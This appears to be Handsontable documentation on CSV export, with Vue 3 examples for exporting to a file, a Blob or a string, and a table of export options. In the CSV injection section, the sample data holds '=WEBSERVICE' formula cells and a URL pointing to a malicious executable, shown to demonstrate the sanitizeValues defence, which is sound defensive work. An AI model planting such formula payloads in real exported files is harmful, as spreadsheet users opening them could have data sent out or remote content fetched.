Export to CSV

Export your grid’s raw data to the CSV format, as a downloadable file, a blob, or a string. Customize your export using Handsontable’s configuration options.

Examples

Mind that CSV exports contain only raw data, and don’t include formulas, styling, or formatting information.

Export to file

1
<script setup lang="ts">
2
import { ref, useTemplateRef } from 'vue';
3
import { HotTable } from '@handsontable/vue3';
4
import { registerAllModules } from 'handsontable/registry';
5
import type { GridSettings } from 'handsontable/settings';
6

7
registerAllModules();
8

9
const hotRef = useTemplateRef<InstanceType<typeof HotTable>>('hotRef');
10

11
const gridData = [
12
  ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
13
  ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
14
  ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
15
  ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
16
  ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
17
  ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
18
  ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
19
];
20

21
const hotSettings = ref<GridSettings>({
22
  data: gridData,
23
  colHeaders: true,
24
  rowHeaders: true,
25
  hiddenRows: { rows: [1, 3, 5], indicators: true },
26
  hiddenColumns: { columns: [1, 3, 5], indicators: true },
27
  height: 'auto',
28
  autoWrapRow: true,
29
  autoWrapCol: true,
30
  licenseKey: 'non-commercial-and-evaluation',
31
});
32

33
function downloadCsv(): void {
34
  const exportPlugin = hotRef.value?.hotInstance?.getPlugin('exportFile');
35

36
  exportPlugin?.downloadFile('csv', {
37
    bom: false,
38
    columnDelimiter: ',',
39
    colHeaders: false,
40
    exportHiddenColumns: true,
41
    exportHiddenRows: true,
42
    fileExtension: 'csv',
43
    filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
44
    mimeType: 'text/csv',
45
    rowDelimiter: '\r\n',
46
    rowHeaders: true,
47
  });
48
}
49
</script>
50

51
<template>
52
  <div id="example1">
53
    <div class="example-controls-container">
54
      <div class="controls">
55
        <button id="export-file" type="button" @click="downloadCsv">
56
          Download CSV
57
        </button>
58
      </div>
59
    </div>
60
    <HotTable ref="hotRef" :settings="hotSettings" />
61
  </div>
62
</template>

Export as a JavaScript Blob object

Open a console in browser developer tools to see the result for the below example.

1
<script setup lang="ts">
2
import { ref, useTemplateRef } from 'vue';
3
import { HotTable } from '@handsontable/vue3';
4
import { registerAllModules } from 'handsontable/registry';
5
import type { GridSettings } from 'handsontable/settings';
6

7
registerAllModules();
8

9
const hotRef = useTemplateRef<InstanceType<typeof HotTable>>('hotRef');
10

11
const gridData = [
12
  ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
13
  ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
14
  ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
15
  ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
16
  ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
17
  ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
18
  ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
19
];
20

21
const hotSettings = ref<GridSettings>({
22
  data: gridData,
23
  colHeaders: true,
24
  rowHeaders: true,
25
  hiddenRows: { rows: [1, 3, 5], indicators: true },
26
  hiddenColumns: { columns: [1, 3, 5], indicators: true },
27
  height: 'auto',
28
  autoWrapRow: true,
29
  autoWrapCol: true,
30
  licenseKey: 'non-commercial-and-evaluation',
31
});
32

33
function exportBlob(): void {
34
  const exportPlugin = hotRef.value?.hotInstance?.getPlugin('exportFile');
35
  const exportedBlob = exportPlugin?.exportAsBlob('csv', {
36
    bom: false,
37
    columnDelimiter: ',',
38
    colHeaders: false,
39
    exportHiddenColumns: true,
40
    exportHiddenRows: true,
41
    mimeType: 'text/csv',
42
    rowDelimiter: '\r\n',
43
    rowHeaders: true,
44
  });
45

46
  console.log(exportedBlob);
47
}
48
</script>
49

50
<template>
51
  <div id="example2">
52
    <div class="example-controls-container">
53
      <div class="controls">
54
        <button id="export-blob" type="button" @click="exportBlob">
55
          Export as a Blob
56
        </button>
57
      </div>
58
    </div>
59
    <HotTable ref="hotRef" :settings="hotSettings" />
60
  </div>
61
</template>

Export as a string

Open a console in browser developer tools to see the result for the below example.

1
<script setup lang="ts">
2
import { ref, useTemplateRef } from 'vue';
3
import { HotTable } from '@handsontable/vue3';
4
import { registerAllModules } from 'handsontable/registry';
5
import type { GridSettings } from 'handsontable/settings';
6

7
registerAllModules();
8

9
const hotRef = useTemplateRef<InstanceType<typeof HotTable>>('hotRef');
10

11
const gridData = [
12
  ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],
13
  ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],
14
  ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],
15
  ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],
16
  ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],
17
  ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],
18
  ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],
19
];
20

21
const hotSettings = ref<GridSettings>({
22
  data: gridData,
23
  colHeaders: true,
24
  rowHeaders: true,
25
  hiddenRows: { rows: [1, 3, 5], indicators: true },
26
  hiddenColumns: { columns: [1, 3, 5], indicators: true },
27
  height: 'auto',
28
  autoWrapRow: true,
29
  autoWrapCol: true,
30
  licenseKey: 'non-commercial-and-evaluation',
31
});
32

33
function exportString(): void {
34
  const exportPlugin = hotRef.value?.hotInstance?.getPlugin('exportFile');
35
  const exportedString = exportPlugin?.exportAsString('csv', {
36
    bom: false,
37
    columnDelimiter: ',',
38
    colHeaders: false,
39
    exportHiddenColumns: true,
40
    exportHiddenRows: true,
41
    rowDelimiter: '\r\n',
42
    rowHeaders: true,
43
  });
44

45
  console.log(exportedString);
46
}
47
</script>
48

49
<template>
50
  <div id="example3">
51
    <div class="example-controls-container">
52
      <div class="controls">
53
        <button id="export-string" type="button" @click="exportString">
54
          Export as a string
55
        </button>
56
      </div>
57
    </div>
58
    <HotTable ref="hotRef" :settings="hotSettings" />
59
  </div>
60
</template>

Prevent CSV Injection attack

“CSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files. When a spreadsheet program such as Microsoft Excel or LibreOffice Calc is used to open a CSV, any cells starting with = will be interpreted by the software as a formula.” (from OWASP website)

To prevent this attack, set the sanitizeValues option when exporting your data in CSV format.

1
<script setup lang="ts">
2
import { ref, useTemplateRef } from 'vue';
3
import { HotTable } from '@handsontable/vue3';
4
import { registerAllModules } from 'handsontable/registry';
5
import type { GridSettings } from 'handsontable/settings';
6

7
registerAllModules();
8

9
const hotRef = useTemplateRef<InstanceType<typeof HotTable>>('hotRef');
10

11
const hotSettings = ref<GridSettings>({
12
  data: [
13
    ['https://handsontable.com', '=WEBSERVICE(A1)'],
14
    ['https://github.com', '=WEBSERVICE(A2)'],
15
    ['http://example.com/malicious-script.exe', '=WEBSERVICE(A3)'],
16
  ],
17
  colHeaders: true,
18
  rowHeaders: true,
19
  height: 'auto',
20
  autoWrapRow: true,
21
  autoWrapCol: true,
22
  licenseKey: 'non-commercial-and-evaluation',
23
});
24

25
const csvExportOptions = {
26
  bom: false,
27
  columnDelimiter: ',',
28
  colHeaders: false,
29
  exportHiddenColumns: true,
30
  exportHiddenRows: true,
31
  fileExtension: 'csv',
32
  filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',
33
  mimeType: 'text/csv',
34
  rowDelimiter: '\r\n',
35
} as const;
36

37
function downloadWithNoSanitization(): void {
38
  hotRef.value?.hotInstance?.getPlugin('exportFile')?.downloadFile('csv', { ...csvExportOptions });
39
}
40

41
function downloadWithRecommendedSanitization(): void {
42
  hotRef.value?.hotInstance?.getPlugin('exportFile')?.downloadFile('csv', {
43
    ...csvExportOptions,
44
    sanitizeValues: true,
45
  });
46
}
47

48
function downloadWithRegexpSanitization(): void {
49
  hotRef.value?.hotInstance?.getPlugin('exportFile')?.downloadFile('csv', {
50
    ...csvExportOptions,
51
    sanitizeValues: /WEBSERVICE/,
52
  });
53
}
54

55
function downloadWithFunctionSanitization(): void {
56
  hotRef.value?.hotInstance?.getPlugin('exportFile')?.downloadFile('csv', {
57
    ...csvExportOptions,
58
    sanitizeValues: (value: string) => {
59
      return /WEBSERVICE/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;
60
    },
61
  });
62
}
63
</script>
64

65
<template>
66
  <div id="example4">
67
    <div class="example-controls-container">
68
      <div class="controls">
69
        <button type="button" @click="downloadWithNoSanitization">
70
          Download CSV with no sanitization
71
        </button>
72
        <button type="button" @click="downloadWithRecommendedSanitization">
73
          Download CSV with recommended sanitization
74
        </button>
75
        <button type="button" @click="downloadWithRegexpSanitization">
76
          Download CSV with sanitization using a regexp
77
        </button>
78
        <button type="button" @click="downloadWithFunctionSanitization">
79
          Download CSV with sanitization using a function
80
        </button>
81
      </div>
82
    </div>
83
    <HotTable ref="hotRef" :settings="hotSettings" />
84
  </div>
85
</template>

Available methods

The plugin exposes the following methods to export data.

downloadFile(format, options) - generates a downloadable file directly in the browser. Synchronous; supports text-based formats only (e.g. CSV). For XLSX, use downloadFileAsync.
downloadFileAsync(format, options) - generates a downloadable file and returns a Promise. Supports all formats including XLSX.
exportAsBlob(format, options) - allows you to export a JavaScript Blob object.
exportAsString(format, options) - allows you to export data as a string. Supports text-based formats only (e.g. CSV).

Each method takes two parameters. The first, format, is required. The second, options, is an optional object that overrides or extends the default export configuration. The table below lists all supported options for CSV export.

Available options in the export configuration

Property	Type / Default	Description
`bom`	`Boolean`, default `true`	Prepend output with BOM (UTF-8). Browser uses EF BB BF.
`colHeaders`	`Boolean`, default `false`	Include column headers. Does not support the NestedHeaders plugin.
`columnDelimiter`	`String`, default `','`	Column delimiter.
`exportHiddenColumns`	`Boolean`, default `false`	Include hidden columns.
`exportHiddenRows`	`Boolean`, default `false`	Include hidden rows.
`fileExtension`	`String`, default `'csv'`	File extension. Used by `downloadFile()`.
`filename`	`String`, default `'Handsontable [YYYY]-[MM]-[DD]'`	File name. Placeholders `[YYYY]`, `[MM]`, `[DD]` are replaced with the current date. Used by `downloadFile()`.
`mimeType`	`String`, default `'text/csv'`	MIME type. Used by `downloadFile()` and `exportAsBlob()`.
`range`	`Array`, default `[]`	Cell range to export: `[startRow, startColumn, endRow, endColumn]` (visual indexes).
`rowDelimiter`	`String`, default `'\r\n'`	Row delimiter.
`rowHeaders`	`Boolean`, default `false`	Include row headers.
`sanitizeValues`	`Boolean` \| `RegExp` \| `Function`, default `false`	Value sanitization. `true` = OWASP CSV injection rules; `RegExp` = escape matching values; `Function` = replace with return value.

Handsontable 15.3.0: CSV sanitization, accessibility updates, and 30+ fixes

Plugins

ExportFile